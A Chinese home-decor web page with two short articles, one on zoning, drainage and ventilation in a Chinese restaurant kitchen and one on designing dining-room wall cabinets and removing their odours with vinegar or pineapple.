中餐厅厨房设计有哪些要点和要求

中国饮食因其丰富多彩的烹饪手法和口味，在世界范围内广受好评。因此也有越来越多的人选择开中餐厅，在餐厅装修中不可忽视的就是厨房的装修，那么中餐厅厨房设计有哪些要点和要求呢？下面将从地面设施，排水设施和排烟排气设施三大厨房重点设计方面给大家介绍一下中餐厅厨房设计的要点和要求。一、区域划分中餐烹饪手法多样，菜式丰富，因此中餐厨房可以按照菜式不同划分为热菜区、冷菜区、点心区，另外还有肉类粗加区域，蔬菜粗加工区域，以及餐具清洁区域，备餐区域等等。因此在中餐厅厨房设计时，既要考虑这些区域的不同操作功能而将其做一定的区分，也要考虑各个区域在工作上的合作而有序的连接起来。比如常见的热菜和冷菜的操作区域要区分开来，生菜及肉类的初加工区域要和熟菜区分开，以及厨房垃圾区域与食材区域需要区分，出餐区要靠近顾客就餐区域方便传菜等等。但同时要根据操作的顺序习惯将各个区域合理的有逻辑的串联起来，以便提高厨房工作效率。二、地下排污设施中餐厅厨房设计装修中的难题之一就是地下排污问题。由于中餐厨房的地面经常有积水和杂物，因此需要好好设计厨房的排污设施。除了合理设计操作台和排污口的位置，还可以利用一些设计上的小技巧，比如在下水道中安装一些高压喷水设施，这些喷水设施可以防止垃圾滞留在下水道里面而造成下水道堵塞，排污不顺。另外，各个地下排污的排污管道都应设计一定的倾斜角度，以便于污物顺利的排向主排污通道。在排污管道的材质选择上，不可选择易被腐蚀、易生锈的材质，最好选用不锈钢材质这类可防生锈的。三、房顶的排烟排气设施由于中式菜肴的烹饪特色，通常会有快炒、爆炒这样的烹饪手段造成大量的油烟，因此中餐厅厨房设计时好的排烟排气设施就显得十分重要。快速有效的将厨房中的油烟和热气排除出去可以维持厨房良好的操作环境，降低厨房的环境温度。由于中式厨房的特点，厨房的温度经常高达40度左右，十分影响厨师和工作人员的工作效率，且在高温下各种食材也容易变质。因此在中餐厅厨房设计时需要设计好排烟排气管道，使用强力的排烟排气机，以保持厨房良好的工作环境。以上就是中餐厅厨房设计的要点。一个合理装修的厨房，不仅能让厨师与其他工作人员有效的配合工作，提高工作效率，也能更加得心应手得烹饪出顾客满意的美味佳肴。相信只要掌握以上中餐厅厨房设计的关键点，就能打造出餐厅最满意的后厨空间。

餐厅的墙面的柜子设计 餐厅柜子有异味怎么办

为了享受高品质的家居生活，人们会花很多钱做室内装饰，为了营造温馨的用餐环境，很多人会在餐厅设计餐厅柜，也就是餐厅的柜子，那餐厅的墙面的柜子怎么设计？如果餐厅的墙面的柜子有异味怎么办？一、餐厅的墙面的柜子怎么设计1、柜子靠墙壁设计，并与卡座连接。它非常实用，非常时尚。餐厅橱柜布置良好，配有餐具，装饰品，绿色植物等，餐厅的砖墙与木制家具相配，营造出宁静舒适的用餐环境。2、浪漫的色彩，和流畅的线条使餐厅更加时尚，餐厅柜采用白色环保涂料，色彩简洁美观。柜体采用对称设计，结构稳定，承重能力强，多格存储空间，使存储功能强大，无论书籍，酒具，装饰品等，都能轻松容纳。3、半开放式柜子设计，采用玻璃 实木门，营造出宁静的意义。餐厅柜不仅具有吸引力，而且具有非常强大的储物功能。整个橱柜设计就像一个神奇口袋，可以存放各种小吃和好看的餐具。4、餐厅柜子，颜色选用白色和木色，营造优雅的用餐环境。除了存储功能和分区效果外，餐厅柜还完美地划分了空间分区，增添了层次感。虽然餐厅柜不大，但仍可满足多种存储需求。​二、餐厅的墙面的柜子有异味怎么办1、在装满冷水的面盆中加入醋，将其放在柜子前面，打开柜门，打开窗户进行通风，使柜内的气味被吸收和清除，非常有效！2、菠萝含有较多的纤维，具有吸附作用，其自身的果香也非常清新。在一个或两个带有气味的橱柜里买一些菠萝，可以吸收衣柜里的油漆和甲醛气味，也可以散发出果香，净化空气，这可以说是两全其美。以上介绍的是餐厅的墙面的柜子怎么设计和餐厅的墙面的柜子有异味该怎么办？一起来看看。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();